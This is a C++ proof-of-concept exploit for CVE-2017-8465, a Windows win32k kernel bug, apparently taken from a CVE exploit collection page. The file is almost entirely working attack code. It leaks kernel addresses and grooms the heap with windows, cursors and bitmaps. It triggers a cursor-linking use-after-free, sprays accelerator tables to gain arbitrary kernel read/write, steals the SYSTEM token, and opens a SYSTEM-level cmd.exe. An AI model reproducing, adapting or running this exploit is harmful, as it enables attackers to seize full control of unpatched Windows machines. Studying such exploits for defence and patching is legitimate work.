4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / CVE-2017-8465.cpp CPP
#include <stdio.h>
#include <windows.h>
#include <tchar.h>
#include <strsafe.h>
#include <winternl.h>
#include <wingdi.h>
#include <Psapi.h>


#pragma comment(lib, "psapi.lib")
#pragma comment(lib,"user32.lib")
#pragma comment(lib,"Gdi32.lib")
#pragma comment(lib, "ntdll.lib")

typedef enum { L_DEBUG, L_INFO, L_WARN, L_ERROR } LEVEL, *PLEVEL;
#define MAX_LOG_MESSAGE 1024

typedef struct _LARGE_UNICODE_STRING
{
  ULONG Length;           // 000
  ULONG MaximumLength:31; // 004
  ULONG bAnsi:1;          // 004
  PWSTR Buffer;           // 008
} LARGE_UNICODE_STRING ,*PLARGE_UNICODE_STRING;

typedef struct tagWND{
	DWORD HANDLE;
	DWORD Type;
	DWORD revered1;
	DWORD revered2;
	DWORD self;
	DWORD revered3;
	DWORD reverse4;
	DWORD style;
	DWORD WndStyle;
	DWORD reverse5;
} WND,*PWND;
typedef struct tagCURSORDATA
{
	int field_0;
	int field_4;
	int rt;
	int CURSORF_flags;
	int bpp;
	HBITMAP hbmMask;
	HBITMAP hmbColor;
	int linkFlag;
	int field_20;
	int field_24;
	int field_28;
	int field_2C;
	int field_30;
	int field_34;
	int field_38;
	int field_3C;
	int cpcur;
	int cicur;
	HCURSOR* aspcur;
	int aicur;
	DWORD ajifRate;
	int field_54;
}CURSORDATA, *PCURSORDATA;
typedef struct tagCursor{
	DWORD field_0;
	DWORD  field_4;
	DWORD field_8;
	DWORD process;
	DWORD field_10;
	DWORD nextCursor;
	DWORD dpiHead;;
	DWORD field_1C;
	DWORD  field_20;
	DWORD field_24;
	DWORD field_28;
	DWORD flag;
} CURSOR,* pCURSOR;
#ifdef _WIN64
typedef void*(NTAPI *lHMValidateHandle)(HWND h, int type);
#else
typedef void*(__fastcall *lHMValidateHandle)(HWND h, int type);
#endif
typedef struct _PEBB {
#ifdef _WIN64
	UCHAR ignored[0xf8];
#else
	UCHAR ignored[0x94];
#endif
	PVOID GdiSharedHandleTable;
} PEBB, *PPEBB;

typedef struct _GDICELLL
{
	PVOID pKernelAddress;
	USHORT wProcessId;
	USHORT wCount;
	USHORT wUpper;
	USHORT wType;
	PVOID pUserAddress;
} GDICELLL, *PGDICELLL;

typedef struct _PROCESS_BASIC_INFORMATIONN {
	NTSTATUS  ExitStatus;
	PVOID     PebBaseAddress;
	ULONG_PTR AffinityMask;
	LONG      BasePriority;
	HANDLE    UniqueProcessId;
	HANDLE    InheritedFromUniqueProcessId;
} PROCESS_BASIC_INFORMATIONN, *PPROCESS_BASIC_INFORMATIONN;

typedef enum _PROCESSINFOCLASSS {
	SystemProcessBasicInformation = 0
} PROCESSINFOCLASSS;

typedef NTSTATUS(WINAPI *PNtQueryInformationProcess)(
	_In_      HANDLE           ProcessHandle,
	_In_      PROCESSINFOCLASSS ProcessInformationClass,
	_Out_     PVOID            ProcessInformation,
	_In_      ULONG            ProcessInformationLength,
	_Out_opt_ PULONG           ReturnLength
	);
typedef void *(NTAPI *NTUSERCALLONEPARAM)
(
     IN ULONG Param,
     IN ULONG Routine
);
typedef void *(NTAPI*NTUSERSETCURSORICONDATA)
(
IN HCURSOR ,
IN PUNICODE_STRING ,
IN PUNICODE_STRING ,
IN PCURSORDATA 
);
typedef void *( NTAPI* NTUSERDESTROYCURSOR)
(
	HCURSOR, 
	DWORD
);
typedef void *(NTAPI * NTUSERLINKDPICURSOR)
(
	HCURSOR,
	HCURSOR,
	DWORD
);

typedef void * (NTAPI *NTUSERDEFSETTEXT)
(
	HWND,
	PLARGE_UNICODE_STRING
);

typedef void * (NTAPI *NTRTLINITLARGEUNICODESTRING)
(
	PLARGE_UNICODE_STRING ,
    char *,
    int,
	int
);
typedef DWORD (NTAPI *NTUserGetAncestor)
(
	LONG,
    LONG
);


char * createBuffer(int length){
	char * res= (char*) malloc(length);
	int i=0;
	for (i=0;i<length;++i){
		res[i]=(char)i;
	}
	return res;
} 

#ifndef HEXDUMP_COLS
#define HEXDUMP_COLS 16
#endif
 
void hexdump(void *mem, unsigned int len)
{
        unsigned int i, j;
        
        for(i = 0; i < len + ((len % HEXDUMP_COLS) ? (HEXDUMP_COLS - len % HEXDUMP_COLS) : 0); i++)
        {
                /* print offset */
                if(i % HEXDUMP_COLS == 0)
                {
                        printf("0x%06x: ", i);
                }
 
                /* print hex data */
                if(i < len)
                {
                        printf("%02x ", 0xFF & ((char*)mem)[i]);
                }
                else /* end of block, just aligning for ASCII dump */
                {
                        printf("   ");
                }
                
                /* print ASCII dump */
                if(i % HEXDUMP_COLS == (HEXDUMP_COLS - 1))
                {
                        for(j = i - (HEXDUMP_COLS - 1); j <= i; j++)
                        {
                                if(j >= len) /* end of block, not really printing */
                                {
                                        putchar(' ');
                                }
                                else if(isprint(((char*)mem)[j])) /* printable char */
                                {
                                        putchar(0xFF & ((char*)mem)[j]);        
                                }
                                else /* other char */
                                {
                                        putchar('.');
                                }
                        }
                        putchar('\n');
                }
        }
}
BOOL LogMessage(LEVEL Level, LPCTSTR Format, ...)
{
	TCHAR Buffer[MAX_LOG_MESSAGE] = { 0 };
	va_list Args;

	va_start(Args, Format);
	StringCchVPrintf(Buffer, MAX_LOG_MESSAGE, Format, Args);
	va_end(Args);

	switch (Level) {
	case L_DEBUG: _ftprintf(stdout, TEXT("[?] %s\n"), Buffer); break;
	case L_INFO:  _ftprintf(stdout, TEXT("[+] %s\n"), Buffer); break;
	case L_WARN:  _ftprintf(stderr, TEXT("[*] %s\n"), Buffer); break;
	case L_ERROR: _ftprintf(stderr, TEXT("[!] %s\n"), Buffer); break;
	}

	fflush(stdout);
	fflush(stderr);

	return TRUE;
}

int LEAK(HANDLE hbm) {
	DWORD pid=GetCurrentProcessId();
	HMODULE ntdll = GetModuleHandle(TEXT("ntdll"));
	PNtQueryInformationProcess query = (PNtQueryInformationProcess)GetProcAddress(ntdll, "NtQueryInformationProcess");
	if (query == NULL) {
		LogMessage(L_INFO,"GetProcAddress() failed.\n");
		return 1;
	}
	LoadLibraryA("gdi32.dll");
	ULONG dwReturned = 0;
	PROCESS_BASIC_INFORMATIONN processBasicInfo = { 0x0 };
	NTSTATUS status = query(GetCurrentProcess(), SystemProcessBasicInformation, &processBasicInfo, sizeof(PROCESS_BASIC_INFORMATIONN), &dwReturned);
	PPEBB peb = (PPEBB)HeapAlloc(GetProcessHeap(), 0, sizeof(PEBB));
	ReadProcessMemory(GetCurrentProcess(), processBasicInfo.PebBaseAddress, peb, sizeof(PEBB), NULL);
	DWORD count = 0x8fff; 
	PGDICELLL gdiTable = (PGDICELLL)HeapAlloc(GetProcessHeap(), 0, sizeof(GDICELLL) * count);
	ReadProcessMemory(GetCurrentProcess(), peb->GdiSharedHandleTable, gdiTable, sizeof(GDICELLL) * count, NULL);
	for (unsigned int i = 0; i < count; i++) {
		GDICELLL cell = gdiTable[i];
		if (cell.pKernelAddress == (void *)0xCDCDCDCD) {
			break;
		}
		if (cell.pKernelAddress == 0x00000000) {
			continue;
		}
		if (cell.wProcessId!=pid){
			continue;
		}
		
		HANDLE gdiHandle = (HANDLE)((cell.wUpper << 16) + i);
		if ((HBITMAP)gdiHandle!=hbm){
			continue;
		}
		return (int)cell.pKernelAddress;
#ifdef _WIN64
		LogMessage(L_INFO,"Kernel address: 0x%llx, GDI Handle: 0x%llx, Process ID: %d\r\n", cell.pKernelAddress, gdiHandle, cell.wProcessId);
#else
		LogMessage(L_INFO,"Kernel address: 0x%X, GDI Handle: 0x%X, Process ID: %d\r\n", cell.pKernelAddress, gdiHandle, cell.wProcessId);
#endif
	}
	return 0;
}
typedef struct _wndPair {
	unsigned int addr;
	HWND handle;
}wndPair;

int compare(const void *a ,const void *b){
	wndPair * pair1=(wndPair *) a;
	wndPair * pair2=(wndPair *) b;
	return pair1->addr-pair2->addr;
}

typedef struct _BITMAPPair {
	unsigned int addr;
	HBITMAP handle;
}bitmapPair;

int comparePallette(const void *a ,const void *b){
	bitmapPair * pair1=(bitmapPair *) a;
	bitmapPair * pair2=(bitmapPair *) b;
	return pair1->addr-pair2->addr;
}
///////////////////////////////////////////////////////////////////////
///////////////////////EXPLOIT START///////////////////////////////////
///////////////////////////////////////////////////////////////////////


HCURSOR hCur1;
HCURSOR hCur2;
HBITMAP hbm1;
HBITMAP hbm2;
UNICODE_STRING uniModName;
NTUSERSETCURSORICONDATA NtUserSetCursorIconData;
NTUSERCALLONEPARAM NtUserCallOneParam;
NTUSERDESTROYCURSOR NtUserDestroyCursor ;
NTUSERLINKDPICURSOR NtUserLinkDpiCursor ;
NTUSERDEFSETTEXT NtUserDefSetText;
NTRTLINITLARGEUNICODESTRING RtlInitLargeUnicodeString;
NTUserGetAncestor NtUserGetAncestor;
HMODULE user32;
PCURSORDATA  CurData;
char * atbuff;
char * bmbuff;

CONST LONG maxTimes = 0x200;
CONST LONG tmpTimes = 0x2000;
static bitmapPair hbitmaps[maxTimes] = { NULL };
static HCURSOR hcursors[maxTimes] ={NULL};
static HWND hwnds[maxTimes]={NULL};
//RECT rc = { 0x253,0xa,0x524,0x28a };
//HWND hwnd = ExCreateWindow(0, TEXT("Fuck"), 0x80188, 0xc2ff0000, &rc);
HWND ExCreateWindow(DWORD dwCSStyle, LPCTSTR lpszWndName,
	DWORD dwWndStyleEx, DWORD dwStyle, LPRECT lprc,DWORD cbwndExtra) {
		
	HWND Hwnd = NULL;
	WNDCLASSEX wndClass = { 0 };
	wndClass.cbSize = sizeof(wndClass);
	wndClass.lpszClassName = lpszWndName;
	wndClass.cbWndExtra=cbwndExtra;
	wndClass.style = dwCSStyle;
	wndClass.lpfnWndProc = DefWindowProc;
	wndClass.hInstance = GetModuleHandle(NULL);
	RegisterClassEx(&wndClass);
	Hwnd = CreateWindowEx(dwWndStyleEx, lpszWndName, lpszWndName,
		dwStyle, lprc->left, lprc->top, lprc->right-lprc->left, lprc->bottom-lprc->top, NULL,NULL, NULL, NULL);
	SetWindowRgn(Hwnd,CreateRectRgn(0,0,0,0),0);
	
	return Hwnd;
}
//////////////////////////////////////////LEAK WND ////////////////////////////

lHMValidateHandle pHmValidateHandle = NULL;
typedef struct _HEAD
{
	HANDLE h;
	DWORD  cLockObj;
} HEAD, *PHEAD;

typedef struct _THROBJHEAD
{
	HEAD h;
	PVOID pti;
} THROBJHEAD, *PTHROBJHEAD;
//
typedef struct _THRDESKHEAD
{
	THROBJHEAD h;
	PVOID    rpdesk;
	PVOID       pSelf;   // points to the kernel mode address
} THRDESKHEAD, *PTHRDESKHEAD;


BOOL FindHMValidateHandle() {
	HMODULE hUser32 = LoadLibraryA("user32.dll");
	if (hUser32 == NULL) {
		printf("Failed to load user32");
		return FALSE;
	}

	BYTE* pIsMenu = (BYTE *)GetProcAddress(hUser32, "IsMenu");
	if (pIsMenu == NULL) {
		printf("Failed to find location of exported function 'IsMenu' within user32.dll\n");
		return FALSE;
	}
	unsigned int uiHMValidateHandleOffset = 0;
	for (unsigned int i = 0; i < 0x1000; i++) {
		BYTE* test = pIsMenu + i;
		if (*test == 0xE8) {
			uiHMValidateHandleOffset = i + 1;
			break;
		}
	}
	if (uiHMValidateHandleOffset == 0) {
		printf("Failed to find offset of HMValidateHandle from location of 'IsMenu'\n");
		return FALSE;
	}
	
	unsigned int addr = *(unsigned int *)(pIsMenu + uiHMValidateHandleOffset);
	unsigned int offset = ((unsigned int)pIsMenu - (unsigned int)hUser32) + addr;
	//The +11 is to skip the padding bytes as on Windows 10 these aren't nops
	
	pHmValidateHandle = (lHMValidateHandle)((ULONG_PTR)hUser32 + offset + 15);
	return TRUE;
}
////////////////////////////////LEAK WND////////////////////////////
static wndPair wndarrays[maxTimes] = { NULL };
static
BOOL xxCreateWindows()
{
    BOOL bReturn = FALSE;
    // 0x64*4+0x58+8=0x1f0
    RECT rc = { 0x253,0xa,0x524,0x28a };

	
    for (LONG i = 0; i < maxTimes; i++)
    {
        wndarrays[i].handle =  ExCreateWindow(0, TEXT("Fuck"), 0x80188, 0xc2ff0000, &rc,0);
		PTHRDESKHEAD tagWND = (PTHRDESKHEAD)pHmValidateHandle(wndarrays[i].handle, 1);
		wndarrays[i].addr=(unsigned int)tagWND->pSelf;
		
		//LogMessage(L_INFO,"Kernel memory address: 0x%x, tagTHREAD memory address: 0x%x\n", tagWND->pSelf, tagWND->h.pti);
        if (wndarrays[i].handle == NULL)
        {
            bReturn = FALSE;
            break;
        }
        bReturn = TRUE;
    }
    return bReturn;
}

int pick;
int pickP;
void Stage0(){


	RtlInitUnicodeString(&uniModName, L"user32");

	BOOL bFound = FindHMValidateHandle();
	if (!bFound) {
		printf("Failed to locate HmValidateHandle, exiting\n");
		exit(1);
	}

	user32 = LoadLibraryA("user32.dll");

	NtUserSetCursorIconData =(NTUSERSETCURSORICONDATA ) (0x3A970 +(long)user32);
	NtUserCallOneParam=(NTUSERCALLONEPARAM  )(0x38A40 +(long)user32);
	NtUserDestroyCursor = (NTUSERDESTROYCURSOR )(0x38DD0+(long)user32);
	NtUserLinkDpiCursor = (NTUSERLINKDPICURSOR )(0x3E6B0+(long)user32);
	NtUserDefSetText = (NTUSERDEFSETTEXT)(0x38660+(long)user32);
	NtUserGetAncestor =(NTUserGetAncestor)(0x396D0+(long)user32);
	RtlInitLargeUnicodeString=(NTRTLINITLARGEUNICODESTRING)(0xF3F4 +(long)user32);
	LogMessage(L_INFO,TEXT("PID: %x"),GetCurrentProcessId());
	LogMessage(L_INFO, TEXT("user32=0x%p"), user32);
	LogMessage(L_INFO, TEXT("HMValidateHandle=0x%p"),pHmValidateHandle );
	
	LogMessage(L_INFO, TEXT("NtUserSetCursorIconData=0x%p"), NtUserSetCursorIconData);
	LogMessage(L_INFO, TEXT("NtUserCallOneParam=0x%p"), NtUserCallOneParam);
	LogMessage(L_INFO, TEXT("NtUserDestroyCursor=0x%p"), NtUserDestroyCursor);
	LogMessage(L_INFO, TEXT("NtUserLinkDpiCursor=0x%p"), NtUserLinkDpiCursor);	
	LogMessage(L_INFO, TEXT("NtUserDefSetText=0x%p"), NtUserDefSetText);	
	LogMessage(L_INFO, TEXT("RtlInitLargeUnicodeString=0x%p"), RtlInitLargeUnicodeString);	
	
}
void Stage1(){
	xxCreateWindows();
	
	qsort(wndarrays,maxTimes,sizeof(wndPair),compare);
	
	
	DWORD min=0xFFFFFFF;
	int i;
	for(i=0;i<maxTimes;++i){
		
		//LogMessage(L_INFO,TEXT("Pallete[%d] = 0x%x"),i,palette[i].addr);
		if (wndarrays[i].addr-wndarrays[i-1].addr<min){
			pick=i;
			min=wndarrays[i].addr-wndarrays[i-1].addr;
		}
	
	}
	LogMessage(L_INFO,TEXT("Pick HWND (%u) 0x%x and HWND (%u) 0x%x"),wndarrays[pick].handle,wndarrays[pick].addr,wndarrays[pick-1].handle,wndarrays[pick-1].addr);

	
	for(i=0;i<0x100;++i){
		
		hbitmaps[i].handle=CreateBitmap(0x1,0x1,1,8,NULL);
		hbitmaps[i].addr=LEAK(hbitmaps[i].handle);
		
	
	}
	qsort(hbitmaps,0x100,4,comparePallette);
	for(i=0;i<0x100;++i){
		
		//LogMessage(L_INFO,TEXT("ArrayBitmap[%d] = 0x%x"),i,hbitmaps[i].addr);
		if (hbitmaps[i].addr-hbitmaps[i-1].addr<min){
			pickP=i;
			min=hbitmaps[i].addr-hbitmaps[i-1].addr;
		}
	
	}

	
	LogMessage(L_INFO,TEXT("Pick HBITMAP 0x%x and HBITMAP 0x%x"),hbitmaps[pickP].addr,hbitmaps[pickP-1].addr);
	
	
}
/*
	Prepare cursor
*/
void Stage2(){
	int i;
	for (i=0;i<maxTimes/2;++i){
		hcursors[i]=(HCURSOR) NtUserCallOneParam(0,0x2b);
	}
	
	hCur1= (HCURSOR) NtUserCallOneParam(0,0x2b);
	hCur2= (HCURSOR) NtUserCallOneParam(0,0x2b);
	
	for (i=maxTimes/2;i<maxTimes;++i){
		hcursors[i]=(HCURSOR) NtUserCallOneParam(0,0x2b);
	}
	
	LogMessage(L_INFO, TEXT("hc1=0x%p"), hCur1);	
	LogMessage(L_INFO, TEXT("hc2=0x%p"), hCur2);
	HBITMAP hbm1= (HBITMAP) CreateBitmap(0x12,0x3d,1,32,NULL);
	HBITMAP hbm2= (HBITMAP) CreateBitmap(0x62,0x40,1,32,NULL);
	LogMessage(L_INFO, TEXT("hbm1=0x%p"), hbm1);	
	LogMessage(L_INFO, TEXT("hbm2=0x%p"), hbm2);
	
	CurData=(PCURSORDATA ) malloc(sizeof(tagCURSORDATA));
	ZeroMemory(CurData,sizeof(tagCURSORDATA));
	HBITMAP hbm=CreateBitmap(0x12,0x34,1,32,NULL);
	LogMessage(L_INFO,TEXT("HBITMAP()=0x%x"),LEAK(hbm));
	CurData->hbmMask=hbm;
	CurData->CURSORF_flags=0x6530dec6 ;
	CurData->hmbColor=hbm;
	CurData->cpcur=4;
	CurData->hmbColor=hbm2;
	CurData->hbmMask=hbm1;
	CurData->ajifRate=CurData->cpcur*4;
	CurData->aicur=CurData->ajifRate;
	CurData->cicur=0;
	CurData->aicur=CurData->ajifRate;
	int * cData=(int*) CurData;
	cData[0xE]=1;
	cData[0xF]=1;
}
/*
	Trigger condition
*/
void Stage3(){
	NtUserSetCursorIconData(hCur2,  &uniModName,  &uniModName,(PCURSORDATA) CurData);
	NtUserLinkDpiCursor(hCur1,hCur2,0x20);
	NtUserSetCursorIconData(hCur2,  &uniModName,  &uniModName,(PCURSORDATA) CurData);
	
	
}


/*
	Make Hole
*/
HWND hwnd;
void Stage4(){
	int i;
	
	for (i=0;i<maxTimes;++i){
		NtUserDestroyCursor(hcursors[i],0);
	}
	NtUserDestroyCursor(hCur2,0);
}
/*
	Heap spray
*/

void Stage5(){
	
	int i;
	char* buf= (char* )malloc(0x100);

	memcpy(buf,"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00",0x100);
	pCURSOR tagCursor=(pCURSOR)(buf-0x10);
	tagCursor->nextCursor=(DWORD)wndarrays[pick-1].addr+0x90-0x18;
	
	for(i=1;i<maxTimes*2;++i){
		CreateAcceleratorTable((LPACCEL)buf,13);
				
	}
	free(buf);
} 
void Stage6(){
	NtUserDestroyCursor(hCur1,0);
}

DWORD oldSize;
DWORD oldMaxSize;
DWORD oldAddr;

void writeDWORD(DWORD addr,DWORD value){
	char * input = (char*)malloc(4);
	memset(input,0,4);
	memcpy(input,&value,4);
	LARGE_UNICODE_STRING uStr;
	uStr.Length = 2;
	uStr.MaximumLength =-1;
	uStr.Buffer=(PWSTR)input;
	uStr.bAnsi=FALSE;
	
	int idx=wndarrays[pick].addr+35*4-0xE0-wndarrays[pick-1].addr;

	
	DWORD old=SetWindowLongPtr(wndarrays[pick-1].handle,idx,addr);

	NtUserDefSetText(wndarrays[pick].handle,&uStr);
	SetWindowLongPtr(wndarrays[pick-1].handle,idx,old);
	free(input);
}
DWORD readDWORD(DWORD addr){
	
	int output=0;
	int idx=wndarrays[pick].addr+13*4-0xE0-wndarrays[pick-1].addr;
	
	DWORD old=SetWindowLongPtr(wndarrays[pick-1].handle,idx,addr);
	DWORD res=NtUserGetAncestor((long)wndarrays[pick].handle,(long)1);
	SetWindowLongPtr(wndarrays[pick-1].handle,idx,old);
	return res;
}
void Stage7(){
	int old=readDWORD(wndarrays[6].addr);
	LogMessage(L_INFO,"LEAK %d",old);
	writeDWORD(wndarrays[6].addr,0xDEADBEEF);
	
	int leak =readDWORD(wndarrays[6].addr);
	LogMessage(L_INFO,"LEAK %x",leak);
	if(leak==0xDEADBEEF){
		LogMessage(L_INFO,"GOT AAW");
		writeDWORD(wndarrays[6].addr,old);
	} else{
		LogMessage(L_ERROR,"AAW FAILED");
		exit(0);
	}
	
}
void Stage8(){
	ULONG len;
	NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)0x0B, NULL, 0, &len);

	DWORD * moduleInfo = NULL;
	moduleInfo =(DWORD *) VirtualAlloc(NULL, len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

	if (!moduleInfo)	return;

	NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)0x0B, moduleInfo, len, &len);

	DWORD kernelBase=moduleInfo[3];
	char * kernelImagePath=(char*)&moduleInfo[8];
	LogMessage(L_INFO,"KernelBase: 0x%x",kernelBase);
	LogMessage(L_INFO,"KernelImageName: %s",kernelImagePath);
	
	HMODULE hUserSpacekernel = LoadLibraryExA("ntoskrnl.exe", 0, 0);

	if (hUserSpacekernel == NULL)
	{
		VirtualFree(moduleInfo, 0, MEM_RELEASE);
		LogMessage(L_INFO,"LoadLibrary kernelImagePath FAILED");
		return ;
	}

	FARPROC pUserKernelSymbol = GetProcAddress(hUserSpacekernel, "PsInitialSystemProcess");

	if (pUserKernelSymbol == NULL)
	{
		VirtualFree(moduleInfo, 0, MEM_RELEASE);
		LogMessage(L_INFO,"Get PsInitialSystemProcess Failed");
		return ;
	}
	FARPROC pLiveFunctionAddress = (FARPROC)((PUCHAR)pUserKernelSymbol - (PUCHAR)hUserSpacekernel + (PUCHAR)kernelBase);
	FreeLibrary(hUserSpacekernel);
	VirtualFree(moduleInfo, 0, MEM_RELEASE);
	DWORD sysEPROCESS=readDWORD((DWORD)pLiveFunctionAddress);
	LogMessage(L_INFO,"System Process Info Address : 0x%x",sysEPROCESS);
	LogMessage(L_INFO,"System Process ID %d",readDWORD(sysEPROCESS+0x0b4));
	LogMessage(L_INFO,"System Process Token 0x%x",readDWORD(sysEPROCESS+0x0f4));
	LogMessage(L_INFO,"ActiveProcessLinks 0x%x",readDWORD(sysEPROCESS+0x0b8));
	DWORD currentPID=GetCurrentProcessId();
	DWORD currentEPROCESS=sysEPROCESS;

	
	int pid=readDWORD(currentEPROCESS+0x0b4);
	while(true){
		DWORD flink=readDWORD(currentEPROCESS+0x0b8);//ActiveProcessLinks->Flink
		currentEPROCESS =flink-0xB8;
		int pid=readDWORD(currentEPROCESS+0x0b4);
		LogMessage(L_INFO,"Next:  0x%x",flink);
		LogMessage(L_INFO,"Current EPROCESS: 0x%x",currentEPROCESS);
		LogMessage(L_INFO,"Current Process ID %d",pid);
		if (pid==currentPID){
			writeDWORD(currentEPROCESS+0x0f4,readDWORD(sysEPROCESS+0x0f4));//Write TOKEN
			break;
		}
		
		
	}
	
}
void Stage9(){
	STARTUPINFO si;
    PROCESS_INFORMATION pi;

    ZeroMemory( &si, sizeof(si) );
    si.cb = sizeof(si);
    ZeroMemory( &pi, sizeof(pi) );

    
	
    // Start the child process. 
    if( !CreateProcess( NULL,   // No module name (use command line)
        "cmd.exe",        // Command line
        NULL,           // Process handle not inheritable
        NULL,           // Thread handle not inheritable
        FALSE,          // Set handle inheritance to FALSE
        0,              // No creation flags
        NULL,           // Use parent's environment block
        NULL,           // Use parent's starting directory 
        &si,            // Pointer to STARTUPINFO structure
        &pi )           // Pointer to PROCESS_INFORMATION structure
    ) 
    {
        LogMessage(L_INFO,"Create Process Failed!!!");
        return;
    }
	
    // Wait until child process exits.
    WaitForSingleObject( pi.hProcess, INFINITE );

    // Close process and thread handles. 
    CloseHandle( pi.hProcess );
    CloseHandle( pi.hThread );
}
void main()
{	
	LogMessage(L_INFO,TEXT("Stage 0: Initialization"));
	Stage0();
	LogMessage(L_INFO,TEXT("Stage 1: Prepare WNDs"));
	Stage1();
	LogMessage(L_INFO,TEXT("Stage 2: Create Cursor Object"));
	Stage2();
	LogMessage(L_INFO,TEXT("Stage 3: Link Cursor"));
	Stage3();
	LogMessage(L_INFO,TEXT("Stage 4: Make hole!"));
	Stage4();
	LogMessage(L_INFO,TEXT("Stage 5: Heap Spray"));
	Stage5();
	LogMessage(L_INFO,TEXT("Stage 6: Trigger"));
	Stage6();
	LogMessage(L_INFO,TEXT("Stage 7: GOT Full RW"));
	Stage7();
	LogMessage(L_INFO,TEXT("Stage 8: PrivilegeElevation"));
	Stage8();
	LogMessage(L_INFO,TEXT("Stage 9: Fork CMD"));
	Stage9();
	LogMessage(L_INFO,TEXT("GetLastError()=0x%x"),GetLastError());


}